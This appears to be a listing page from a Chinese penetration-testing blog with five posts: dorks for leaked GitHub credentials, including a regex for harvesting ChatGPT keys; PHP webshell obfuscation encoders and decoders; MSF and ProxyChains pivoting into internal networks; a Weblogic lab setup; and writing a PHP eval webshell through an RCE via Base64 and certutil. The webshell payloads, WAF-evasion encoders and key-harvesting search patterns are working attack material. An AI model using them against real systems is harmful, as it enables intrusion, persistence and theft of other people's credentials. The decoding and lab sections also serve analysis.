首页
关于我
友链
推荐
渊龙Sec安全团队
Search
1
对于Spring Boot的渗透姿势
2,746 阅读
2
避坑:Win10环境MS17-010漏洞复现过程
1,548 阅读
3
苛刻条件下:C2上传执行骚姿势
1,453 阅读
4
2023西湖论剑·数字安全大会有感
1,170 阅读
5
PHP从零学习到Webshell免杀手册
1,059 阅读
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
登录
Search
标签搜索
技术随笔
技术小记
渗透经验
人生小记
CTF
数据库
年末总结
曾哥
累计撰写
20
篇文章
累计收到
43
条评论
首页
栏目
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
页面
关于我
友链
推荐
渊龙Sec安全团队
搜索到
7
篇与
的结果
2023-04-01
开源项目信息泄露笔记
目前本文并不完善,后续会持续更新0# 概述与现状当我们对一些项目进行渗透、审计的时候,以及HW红蓝攻防时,对目标的开源项目信息泄露就是重要一环整体现状2020年春,Unit 42研究人员通过GitHub Event API 分析了超过24,000份GitHub公开数据,发现有数千个文件中可能包含敏感信息在24,000份GitHub公开数据中,存在以下泄露:4109个配置文件2464个API密钥2328个硬编码的用户名及密码2144个私钥文件1089个OAuth令牌总体占比高达50.56%,想想开源项目信息泄露有多可怕吧对于企业而言很多企业的开源项目信息泄露,都是企业的实习生或新入职的员工造成的。他们往往会把自己里在公司负责的一个小项目给 push 到 GitHub 上,或者是将长久以来的技术总结文章发到 GitHub 上进行汇总管理,这些文章中难免包含很多公司的数据库配置,网络拓扑,服务器信息等(这种信息泄露在小公司尤为常见)虽然有部分公司选择使用 GitLab 等来自建 Git 远程仓库,但是同样未正确设置仓库权限为私有。导致在 /explorer 中可以看到所有的公开仓库,同时可以通过查看公开的 Groups 来得知有哪些用户,之后可以尝试爆破猜测它们的密码等等可见自建 Git 仓库也并不是万全之计对于个人开发者而言除企业员工外,还有一群就是个人开发者(特别是高校学生),他们的开源项目信息泄露也尤为严重。很多高校学生,平时喜欢自己写些脚本。比如选课脚本、图书馆通知、刷课脚本等开源项目,往往未对相关的代码进行脱敏,就把源码 push 到 GitHub 上。于是,就造成这样的情况:写 Web 应用需要对接数据库,代码里会有 MySQL 的数据库账号配置;要发邮件通知,代码里就有个人学生邮箱账号密码;测试数据里可能还带有个人的常用密码;甚至还有一些校园VPN的账号密码等。有的做得比较大的项目,可能会对接微信小程序、公众号,某教育 App 等第三方应用,甚至一些云厂商的服务,因此还会泄露这些服务的 AK 和 SK。所以,开源项目虽方便了企业和开发者,但其中也埋藏着信息泄露的安全隐患1# Google搜索语法简单的一些Google语法site #指定域名进行搜索,如site:aabyss.cn(收集团队子域名) intext #正文中存在关键字的网页,如intext:管理登录(查找包含“管理员登录”关键词的网页) intitle #标题中存在关键字的网页,如intitle:管理登录(查找后台管理登陆界面) info #一些基本信息 inurl #URL存在关键字的网页,如inurl:file(查找url上含file的网址寻找上传漏洞) filetype #搜索指定文件类型,如filetype:php(查找php类型主页)邮件配置信息泄露很多网站及系统都会使用POP3和SMTP发送来邮件,不少开发者由于安全意识不足会把相关的配置信息也放到Github上。如果这时候我们动用一下Google搜索命令语句,构造一下关键字,就能把这些信息给找出来了。site:Github.com smtp site:Github.com smtp @qq.com site:Github.com smtp @126.com site:Github.com smtp @163.com site:Github.com smtp @sina.com.cn site:Github.com smtp password site:Github.com String password smtp数据库信息泄露site:Github.com sa password #争对SQLServer的信息泄露 site:Github.com root password #争对MySQL的信息泄露 site:Github.com User ID='sa';Password #争对SQLServer的信息泄露Github之svn信息泄露site:Github.com svn site:Github.com svn username site:Github.com svn password site:Github.com svn username password数据库备份文件site:Github.cominurl:sql综合信息泄露site:Github.com password site:Github.com ftp ftppassword site:Github.com 密码 site:Github.com 内部配合用法1、找管理后台地址 site:xxx.com intext:管理|后台|登陆|用户名|密码|系统|账号 site:xxx.com inurl:login/admin/manage/manager/admin_login/system site:xxx.com intitle:管理|后台|登陆 2、找上传类漏洞地址: site:xxx.com inurl:file site:xxx.com inurl:upload 3、找注入页面: site:xxx.com inurl:php?id= 4、找编辑器页面: site:xxx.com inurl:ewebeditor 5、找登录页面 site:xxx.com inurl:"/admin/login.php" 6、查找含有username或password的xls文件 filetype:xls "username | password"2# Github高级搜索网上大部分文章都是使用Google语法来搜索,目前还没看到国内有人使用Github进行高级搜索来查找信息泄露的文章高级搜索链接:https://github.com/search/advanced一般搜索以域名、特殊JS路径、备案、网站的技术支持等关键内容为主,不要局限于域名我们可以活用 GitHub 的高级搜索条件,可以避免很多不必要的干扰,这里就整理了一些:过滤时间pushed:>2020-01-01 created:>2020-01-01使用过滤器过滤掉一些很老的代码筛选代码语言language:java筛选特定语言(诸如Java)的代码,排除搜索结果中静态文件的干扰数据库连接关键词"jdbc:mysql://" "mysqli_connect("搜索数据库连接语句,往往就能有很多公网数据库的账号密码敏感文件名filename:.env filename:bash_history filename:_rsa filename:jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml 这个总能找到一些奇奇怪怪的东西,甚至是数字证书(之前就找到国内某大学的VPN数字证书,然后就通过VPN进入内网)阿里云keyaliyuncs password对于企业而言,可以搜索企业的内网、外网域名,企业邮箱,版权声明(一般会写在代码首部注释),常用包名等思路其实可以放的很广正则表达式关于正则表达式板块,后续会进行相应的更新ChatGPT密钥最近ChatGPT不是火遍海内外吗,很多师傅都想尝试一下同样,格局和思路要打开,通过Github高级语法同样能找到并白嫖ChatGPT密钥 (注:本文仅提供思路,请遵守当地法律进行使用)/"sk-[a-zA-Z0-9]{20,50}"/3# 敏感信息泄露监控工具的推荐关于相关的工具,我这里推荐使用这三个,是我用过感觉蛮好的三个工具各有特点,可以依据使用者的条件和喜好自行选择关于工具的搭建和配置,在百度和Google上很多文章都有写,笔者这里就不重复了GitMAD开源地址: https://github.com/deepdivesec/gitmad GitMAD是一个用于发现Github上的敏感信息和数据泄漏的工具。通过给定关键字或域,GitMAD便会搜索Github上托管的代码,以查找是否存在匹配项。一旦找到了匹配项,GitMAD将克隆存储库并在文件中搜索一系列可配置的正则表达式。然后,GitMAD会获取这些结果,并将它们插入到数据库中供后续的查看使用。这些结果也可作为邮件警报发送。另外,GitMAD将持续运行以发现与输入关键字匹配的新存储库。GSIL开源地址: https://github.com/FeeiCN/GSIL/ 此工具主要用于GitHub敏感信息泄露的监控,可实现邮件实时告警,缺点不是可视化GShark开源地址: https://github.com/madneal/gshark 这是个可视化的监测工具,它不仅可以监控 Github,还可以监控 Gitlab支持多个搜索平台,包括 Github,Gitlab(不稳定支持),Searchcode灵活的菜单以及 API 权限管理灵活的规则以及过滤规则设置支持 gobuster 作为子域名爆破的支持方便易用
2023年04月01日
473 阅读
2 评论
7 点赞
2023-01-30
对于某些畸形PHP的加密和解密方法
0# 概述在Web渗透攻防的情况下,很多时候在前期打点,需要对Webshell进行各种免杀操作来过Waf或者防止防守方的觉察。这时候,各种PHP的加密算法层出不穷,都是将PHP的执行语句,通过加密的方式内嵌在文件当中,来做到“瞒天过海”。刚好最近碰到了一个PHP文件,用了两种畸形的加密方式,看了一眼网上好像也没好的文章讲讲怎么分析的,这里就带大家重温一下这两种加密的解密方式。1# 简单的Gzip+Base64加密这种加密方法网上到处都是,算是最简单的,本来不想写的但和我今天讲的两个主要内容有点相似,这里就提一嘴吧一个简单的样例如下:<?php /*Protected by AabyssZG*/ eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA'))); ?>1.1 解密方法将代码主题内容放入 $a 中,再访问并执行该PHP即可<?php //放入已经加密的PHP内容 $a = "eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));"; function decodephp($a) { $max_level = 300; //最大层数 for ($i = 0; $i < $max_level; $i++) { ob_start(); eval(str_replace('eval', 'echo', $a)); $a = ob_get_clean(); if (strpos($a, 'eval(gzinflate(base64_decode') === false) { return $a; } } } //这里注意要加htmlspecialchars,我看好多文章没写 echo htmlspecialchars(decodephp($a)); ?>1.2 加密方法我们先新建一个PHP文件,名字为 phpinfo.php ,里面放上你想要执行的代码,比如:<?php echo phpinfo(); ?>然后我们再新建一个PHP文件,名字为 encipher.php ,放入以下代码并保存:<?php function encode_file_contents($filename) { $type=strtolower(substr(strrchr($filename,'.'),1)); if('php'==$type && is_file($filename) && is_writable($filename)) { // 如果是PHP文件 并且可写 则进行压缩编码 $contents = file_get_contents($filename); // 判断文件是否已经被编码处理 $pos = strpos($contents,'/*Protected by AabyssZG*/'); if(false === $pos || $pos>100) { // 去除PHP文件注释和空白,减少文件大小 $contents = php_strip_whitespace($filename); // 去除PHP头部和尾部标识 $headerPos = strpos($contents,'<?php'); $footerPos = strrpos($contents,'?>'); $contents = substr($contents,$headerPos+5,$footerPos-$headerPos); $encode = base64_encode(gzdeflate($contents)); // 开始编码 $encode = '<?php'." /*Protected by AabyssZG*/\neval(gzinflate(base64_decode('".$encode."'))); \n?>"; return file_put_contents($filename,$encode); } } return false; } //调用函数 $filename='phpinfo.php'; //这里填入需要加密的原始PHP文件名 encode_file_contents($filename); ?>然后再运行PHP环境,访问并执行 encipher.php 成功后是没有回显的,但是 phpinfo.php 里面的内容已经被加密了,自行查看即可2# 进阶的Gzip+Base64加密这是上一种加密的进阶版,主要表现在有个循环,看代码:<?php function iJG($BHM) { $BHM=gzinflate(base64_decode($BHM)); for($i=0;$i<strlen($BHM);$i++) { $BHM[$i] = chr(ord($BHM[$i])-1); } return $BHM; } eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A")); ?>这是一个混淆加密的PHP WebShell,让我们看看如何解密2.1 解密方法由以上代码可以看出,这是先将 U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A Base64解密后进行Gzip处理,再将解密后的值膨胀,最后经过for循环,return出 $BHM 这个结果但是做信安这块,一定要学会逆向思维既然 eval 函数是执行php代码的函数,接收了最终解密的代码并执行,那我直接从这里切入呗:<?php function iJG($BHM) { $BHM=gzinflate(base64_decode($BHM)); for($i=0;$i<strlen($BHM);$i++) { $BHM[$i] = chr(ord($BHM[$i])-1); } return $BHM; } echo(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A")); ?>将 eval 函数 改为 echo 就可以把解密后的PHP代码回显出来了3# o00o0o嵌套加密我第一次看到这种加密,应该是在一两年前,当时看到真的头痛,这种根本不能手动解密(在实际情况中遇到过上百行的这种嵌套加密方式),来看看一个简单的样例吧:<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); ?>3.1 解密方法因为里面参数众多,而我们要先看重要参数里面到底有什么:目光来到 eval 代码里面,因为最终解密的代码将带入里面执行所以关键就在 $O00O0O 这个里面,那老方法echo出来:<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; echo $O00O0O; ?>原来 $O00O0O 是 base64_decode Base64解码函数啊哈哈,那我直接把最后一行拉出来,把 eval($O00O0O 改为 echo(base64_decode:<?php echo(base64_decode("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); ?>可以看到,第一阶段解密并回显成功了,但还有加密的PHP代码片段:$O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));这时候别慌,因为看到这个代码存在好多原来文件的参数,于是再将这段代码带入到原来的文件中,如下:<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; $O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); ?>然后还是老办法,将 eval 函数换成 echo 即可,这里记得一定要加上 htmlspecialchars ,不然代码直接就执行了,看不到解密后的源码了:<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; $O0O000="SEBoWxTbvHhQNqjynIRMcmlAKYkZufVJUCieaLdsrtgwFXDzpGOPWLcskezqRrAUKBShPDGYMFNOnEbjtwZpaVQdHygCIvxTJfXuoiml77t/lX9THrOKVFZSHi8xMiATHk5FqhxomT0nlu4="; echo htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); ?>成功解密并回显3.2 加密方法那有些师傅就想问,那我想要这种的加密怎么办呢?老样子,我们先新建一个PHP文件,名字为 phpinfo.php ,里面放上你想要执行的代码,比如:<?php echo phpinfo(); ?>然后我们再新建一个PHP文件,名字为 encipher.php ,放入以下代码并保存:<?php function RandAbc($length=""){//返回随机字符串 $str="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; return str_shuffle($str); } $filename='phpinfo.php'; //这里填入需要加密的原始PHP文件名 $T_k1=RandAbc();//随机密匙1 $T_k2=RandAbc();//随机密匙2 $vstr=file_get_contents($filename);//要加密的文件 $v1=base64_encode($vstr); $c=strtr($v1,$T_k1,$T_k2);//根据密匙替换对应字符。 $c=$T_k1.$T_k2.$c; $q1="O00O0O"; $q2="O0O000"; $q3="O0OO00"; $q4="OO0O00"; $q5="OO0000"; $q6="O00OO0"; $s='$'.$q6.'=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$'.$q1.'=$'.$q6.'{3}.$'.$q6.'{6}.$'.$q6.'{33}.$'.$q6.'{30};$'.$q3.'=$'.$q6.'{33}.$'.$q6.'{10}.$'.$q6.'{24}.$'.$q6.'{10}.$'.$q6.'{24};$'.$q4.'=$'.$q3.'{0}.$'.$q6.'{18}.$'.$q6.'{3}.$'.$q3.'{0}.$'.$q3.'{1}.$'.$q6.'{24};$'.$q5.'=$'.$q6.'{7}.$'.$q6.'{13};$'.$q1.'.=$'.$q6.'{22}.$'.$q6.'{36}.$'.$q6.'{29}.$'.$q6.'{26}.$'.$q6.'{30}.$'.$q6.'{32}.$'.$q6.'{35}.$'.$q6.'{26}.$'.$q6.'{30};eval($'.$q1.'("'.base64_encode('$'.$q2.'="'.$c.'";eval(\'?>\'.$'.$q1.'($'.$q3.'($'.$q4.'($'.$q2.',$'.$q5.'*2),$'.$q4.'($'.$q2.',$'.$q5.',$'.$q5.'),$'.$q4.'($'.$q2.',0,$'.$q5.'))));').'"));'; $s='<?php '.$s.' ?>'; echo $s; //生成 加密后的PHP文件 $fpp1=fopen('temp'.$filename,'w'); fwrite($fpp1,$s) or die('写文件错误'); ?>然后再运行PHP环境,访问并执行 encipher.php接下来就会在同目录里面生成一个 tempphpinfo.php 这个加密的PHP文件了4# 总结很多时候,碰到我们不会分析的代码,不要着急,很多时候要学会 “智取”现在依然还有很多通过PHP特性做免杀的方法,要多总结多归纳虽然本篇讲的是PHP,但JSP也同样如此,有时间我可以分享一个VT全绿的JSP马
2023年01月30日
726 阅读
0 评论
11 点赞
2023-01-25
内网渗透中使用ProxyChains进行代理
概述在内网渗透当中,往往需要将内网的流量代理出来很多时候,我们常常用Frp等内网穿透工具将内网的相关流量穿透出来,但在有多个网段的情况下很容易就会搞混于是在Linux当中,有款命令行代理工具——ProxyChains非常好用,我个人比较喜欢将它用作内网跨网段渗透。有些师傅不知道,这里就记录一下工具介绍ProxyChains是Linux和其他Unix下的代理工具。它可以使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP/SOCKS4/SOCKS5类型的代理服务器,并且可配置多个代理。ProxyChains通过一个用户定义的代理列表强制连接指定的应用程序,直接断开接收方和发送方的连接。ProxyChains 是一个强制应用的 TCP 连接通过代理的工具,支持 Tor/HTTP/Socks 代理。需要注意的是,ProxyChains 只会将当前应用的 TCP 连接转发至代理,而非全局代理。工具的安装在新版本KaliLinux下(懒得测试老版本了)自带该工具,不需要进行安装操作如果没有的话,也可以像这样快捷安装:Ubuntu可以直接使用apt安装,如下:sudo apt-get install proxychains其他系统,可以选择编译安装,如下:git clone https://github.com/rofl0r/proxychains-ng cd proxychains-ng ./configure sudo make && make install工具的使用我们首先来看下,简单的模拟情景思维导图如下:攻击者已经通过MSF控制了外部Web服务器,目的是想要对内网OA服务器进行内网渗透第一步、使用MSF生成socks代理攻击者使用的MSF开启代理:msfconsole use auxiliary/server/socks4a exploit默认就会在1080端口开放socks4代理第二步、更改ProxyChains配置文件vi /etc/proxychains.conf socks4 192.168.0.66 1080 //新增一行第三步、利用外层Web服务器的meterpreter,添加静态路由sessions 1 //根据自己的实际情况进入session run autoroute -s 10.10.1.0/24 //绑定内网网段 run autoroute -p //查看是否绑定成功第四步、使用代理进行攻击这里以Nmap举例:proxychains3 nmap -sT -Pn 10.10.1.12 -p 80 //扫描10.10.1.12的80端口使用火狐打开内网OA页面:proxychains3 firefox http://10.10.1.12使用Python脚本对内网OA进行攻击:proxychains3 python Exp.py -u http://10.10.1.12 proxychains3 python3 Exp.py -u http://10.10.1.12举个例子,这里要看具体Python脚本的参数总结这就是一个小小的工具使用技巧分享文章希望对各位师傅的内网渗透有所帮助
2023年01月25日
261 阅读
0 评论
10 点赞
2023-01-19
避坑小记:Weblogic漏洞复现环境搭建
0# 什么是Weblogic?WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。根据我的个人经验,国内金融产业(银行)、政府等单位都比较喜欢Weblogic,应用还是相对比较广泛的1# 关于Weblogic搭建在平常的信息安全相关工作、学习过程中,Weblogic的相关漏洞经常会碰到。而Weblogic环境搭建过程很繁琐,并且平常想要进行代码调试、漏洞复现的时候,经常会有搭建各种Weblogic版本和各种JDK版本的排列组合的需求,导致安全研究人员苦不堪言。我早些年也被这个问题搞得焦头烂额,当时我一气之下封装了好几个docker才解决问题,但花了不少精力和世界,有没有一个更优雅的方法解决这个问题呢?最近刚好有两个Weblogic漏洞比较感兴趣,想上手分析一下。正好又看到了奇安信A-Team的Weblogic快速构建项目,这里就上手来试一下,并随手记录一下整个搭建过程。2# 准备工作2.1# 准备工具VMware虚拟机(其他虚拟机也行)CentOS 7镜像(这个快速构建项目只能用CentOS,刚开始我用Ubuntu跑不起来,算是踩坑了)WeblogicEnvironment(奇安信A-Team的Weblogic快速构建项目)对应版本的JDK安装包(看你需求)对应版本的Weblogic安装包(看你需求)2.2# 资源下载方式CentOS镜像下载地址: http://mirrors.aliyun.com/centos/7.9.2009/isos/x86_64/ 下载 CentOS-7-x86_64-DVD-2009.iso 即可,也可以用 CentOS-7-x86_64-DVD-2009.torrent 种子进行下载WeblogicEnvironment: https://github.com/QAX-A-Team/WeblogicEnvironment 直接下载代码即可JDK安装包下载地址: https://www.oracle.com/java/technologies/downloads/archive/ 选择要安装的版本,比如我想要安装JDK7,直接点击对应链接:选择 Linux x64 并下载即可Weblogic安装包下载地址: https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html 选择要安装的版本,比如我想要安装 Oracle WebLogic Server 10.3.6,选择 Generic Installer 并下载即可3# 开始搭建Weblogic漏洞复现环境准备工作都完成了,那就开始搭建吧~3.1# 安装CentOS到虚拟机这一步不需要我教你了吧,有问题百度如果需要把CentOS系统语言改为中文,可以参考这篇文章: https://www.cnblogs.com/-zzf/p/16137234.html 换源的话,如果觉得原始源太慢可以选择换源安装VM-Tools,在命令行输入以下命令:sudo yum install -y open-vm-tools sudo yum install -y open-vm-tools-desktop3.2# CentOS安装Docker最好是切换到 root 账户(我怕权限问题)su root在终端执行以下命令:yum install -y docker显示Docker安装完毕,验证一下是否安装正常即可:docker --version或者是这样:yum list installed | grep docker如果想每次在服务器启动后都自动启动 Docker 的话,可以使用以下命令开启:systemctl enable docker3.2# 配置WeblogicEnvironment将刚才准备的WeblogicEnvironment压缩包复制到CentOS并解压:根据项目描述,打开解压后的文件夹,创建两个新文件夹,名字分别是 jdks 和 weblogics然后将准备好的JDK安装包和Weblogic安装包分别放到 jdks 和 weblogics 这两个文件夹里面3.3# 运行WeblogicEnvironment这个项目提供了一键构建Docker镜像的sh脚本,但我们需要修改一下项目文档中也给出了示例:{card-describe title="项目示例代码"}以Weblogic12.1.3配JDK 7u21为例,构建镜像命令如下:docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar -t weblogic12013jdk7u21 .镜像构建完成后,执行以下命令运行:docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic12013jdk7u21 weblogic12013jdk7u21{/card-describe}同样这两行代码也包含在项目的sh脚本中了,我们修改一下sh脚本文件保存即可:接下来给文件夹赋予执行权限:cd /home/demo/WeblogicEnvironment-master //根据项目的位置自行切换 chmod -R 777 ../WeblogicEnvironment-master然后看一下执行权限给了没:cd /home/demo/WeblogicEnvironment-master //根据项目的位置自行切换 ls -l接下来执行脚本即可:./run_weblogic1036jdk7u21.sh //刚才修改的sh脚本名字3.4# 解决报错问题这个时候会报错:Error: Failed to download metadata for repo 'appstream': Cannot prepare internal mirrorlist: No URLs in mirrorlist{card-describe title="报错解决过程"}首先,进入到 yum 的 repos 目录cd /etc/yum.repos.d/其次,修改相关文件内容:sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-* sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*然后,安装 wget:yum install wget –y //如果已经安装了wget就不需要这一步接着,更新 yum 源为阿里源:wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo最后,生成缓存更新(第一次更新,速度稍微有点慢,耐心等待两分钟左右):yum clean all yum makecache验证安装 vim 看有无报错:yum install -y vim最重要的一步,修改项目的 Dockerfile 文件!修改开头内容为:FROM centos FROM centos:centos7注释掉以下内容为:# 解决libnsl包丢失的问题 #RUN yum -y install libnsl{/card-describe}3.5# 成功搭建Weblogic漏洞复现环境再次运行sh脚本即可成功将Docker环境跑起来:访问 虚拟机IP:7001/console/login/LoginForm.jsp 能登录到 Weblogic Server 管理控制台,用户名密码如下:默认用户名:weblogic 默认密码:qaxateam014# 总结搭建一路上还是遇到了不少坑,也卡了挺久的,有时候确实让人很烦躁但技术的学习就是这样,很多时候都是在发现问题、解决问题,只有认真、耐心的去面对并解决问题,才能有相应的成长和收获!同时也希望这篇文章能给各位师傅带来帮助~
2023年01月19日
773 阅读
0 评论
12 点赞
2023-01-05
Web系统的RCE漏洞的Getshell姿势
情景描述今天早上在研究一个Web系统的0Day,虽然是个任意命令执行漏洞,但是这个RCE有些局限,就想通过RCE写个WebShell提提权再看看目标系统:Microsoft Windows Server 2019 Standard动态脚本:PHP 5.6GetShell姿势通常我们写入文件,通常都会使用CMD的echo命令echo 文件内容 > "文件名"假如我们要写php一句话的时候,比如:<?php eval($_POST["aabyss"]); ?>这时候有同学就想到这样不就好了:echo <?php eval($_POST["aabyss"]);?> > "webshell.php"但实际上这样是不行的,因为以下特殊符号是无法直接放入echo语句(执行会提示语法错误或者无法写入这些符号):& | > < +所以通常我们会把特殊符号通过^来进行转义,比如这样:echo ^<?php eval($_POST["aabyss"]);?^> > "webshell.php"通常就能写入了难点来了但是我早上尝试的那个0day,语句没办法通过^进行转义,或者写入的流量被WAF拦截,怎么办呢?首先,我想到了通过""双引号进行包含进行写入,比如:echo echo "<?php eval($_POST["aabyss"]);?>" > "webshell.php"文件内容如下:"<?php eval($_POST["aabyss"]);?>"这样虽然能写入& | > < +这些特殊符号,但是代码最外层带了"",实测php代码是无法执行的于是我又想到了Base64编码进行写入,首先对一句话内容进行base编码:于是得到编码后的Base64字符串,如下:PD9waHAgZXZhbCgkX1BPU1RbImFhYnlzcyJdKTsgID8+但是通过上文,我们发现+也是不能写入的,怎么办呢?这时候插入在外部插入一些数字就能简单解决啦:这时候就得到一份做好的Base64字符串:MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy接下来通过echo将Base64字符串写入TXT文件即可:echo MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy > "base64.txt"接下来通过命令进行解密:certutil -f -decode "base64.txt" "webshell.txt"然后将webshell.txt复制为php文件即可大功告成:copy webshell.txt webshell.php其他一些tips查看当前目录:cd解密Base64文件到上层目录:certutil -f -decode "base64.txt" "../webshell.txt"将命令输入内容写入文件查看:命令 >> out.txt
2023年01月05日
342 阅读
2 评论
7 点赞
1
2